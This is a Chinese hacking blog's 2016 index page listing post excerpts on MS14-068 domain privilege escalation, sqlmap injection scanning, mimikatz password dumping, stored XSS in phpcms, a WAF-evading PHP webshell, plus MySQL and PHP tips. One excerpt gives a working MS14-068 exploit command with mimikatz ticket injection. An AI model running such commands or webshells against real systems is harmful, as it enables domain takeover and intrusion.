2016年4月12日
[提权]域内提权神器 MS14-068 完整EXP
摘要： 可以让任何域内用户提升为域管理员 c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-21-4191298166-3247023184-3514116461-1110 -d K8DNS.k8.localmimikatz.exe "kerberos::ptc TGT_k8test3@k8.... 阅读全文
posted @ 2016-04-12 15:05 h4ck0ne 阅读(2743) 评论(0) 推荐(0)
burpsuite联合sqlmap扫描注入点
摘要： 其实我们在众测的时候完全可以使用burpsuite联合sqlmap测试目标的注入漏洞。对get和post型注入都支持。 先来记录proxy的log ， 记住路径 把proxy拦截关掉 接下来浏览器配置代理，对目标站点一通请求，我一般都找页面比较偏僻的小功能 sqlmap对log一通测试 python sqlmap.py -l c:\log... 阅读全文
posted @ 2016-04-12 14:32 h4ck0ne 阅读(3681) 评论(0) 推荐(0)
windows 2012 抓明文密码方法
摘要： windows 2012 抓明文密码方法 默认配置是抓不到明文密码了，神器mimikatz显示Password为null Authentication Id : 0 ; 121279 (00000000:0001d9bf) Session : ... 阅读全文
posted @ 2016-04-12 14:31 h4ck0ne 阅读(3888) 评论(0) 推荐(0)
2016年1月24日
一个U盘黑掉你：TEENSY实战(test)
摘要： 挖掘过程一: 自从上一次投稿，已经好久好久没写文章了。今天就着吃饭的时间，写篇文章，记录下自己学习xss这么久的心得。在我看来。Xss就是javascript注入，你可以在js语法规定的范畴内做任何事情，js可谓强大，本次结合一次挖掘xss的过程和xss的综合利用来探讨，小菜一枚，希望大牛不吝赐教。文章里的网站打码，大家见谅 我们先看看网站 测试储存型xss的话，黑盒测试效... 阅读全文
posted @ 2016-01-24 09:24 h4ck0ne 阅读(962) 评论(1) 推荐(0)
phpcms某处储存型XSS（demo+本地演示）
摘要： 详细说明： demo+本地演示存在XSS的地方在商务中心的商家资料的我的资料的Email那里（这句话好绕口。。），属于过滤不严格随便插字符的问题，我直接在Email那里写上"/>可以看到是正确的 然后点击提交可以看到说操作成功 然后来到我们的企业首页查看可以看到成功弹窗 再查看下源代码，可以看到是储存型的 本来想去后台查看的，但是无... 阅读全文
posted @ 2016-01-24 09:18 h4ck0ne 阅读(995) 评论(0) 推荐(0)
2016年1月23日
绕过安全狗狗的WebShell for PHP
摘要： 最近发现一款过狗shell，分享下。。。 本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开 测试可用。。。 默认密码:p0tt1 使用方法: 访问webshell页面，出现404，没关系，按p键，输入密码 或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改... 阅读全文
posted @ 2016-01-23 21:15 h4ck0ne 阅读(1489) 评论(0) 推荐(0)
echo,die(),print(),print_r(),var_dump()的区别
摘要： echo是PHP语句, print和print_r是函数,语句没有返回值,函数可以有返回值(即便没有用)print（）只能打印出简单类型变量的值(如int,string)例子输出3print_r（）可以打印出复杂类型变量的值(如数组,对象)，如果让数组分行显示就需要加echo "";print_r(... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(1665) 评论(0) 推荐(0)
彻底解决mysql中文乱码的办法
摘要： 彻底解决mysql中文乱码的办法mysql -uroot -p 回车输入密码 进入mysql查看状态如下：mysql \s mysql不能插入中文默认的是客户端和服务器都用了latin1，所以会乱码。解决方案: mysql>user mydb;mysql>alter database mydb... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(321) 评论(0) 推荐(0)
作为一个前端，可以如何机智地弄坏一台电脑？
摘要： 有人说，前端的界限就在浏览器那儿。无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。然而，作为一个前端，我发现是有方式打开次元大门的…这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。想象一下，有天你在家里上网，吃着... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(346) 评论(0) 推荐(0)
Mysql数据库字符集问题
摘要： 修改mysql数据库的默认编码方式修改my.ini文件 加上 default-character-set=gb2312设定数据库字符集 alter database da_name default character set 'charset'1)设置数据库编码 /etc/my.cnf[... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(213) 评论(0) 推荐(0)
下一页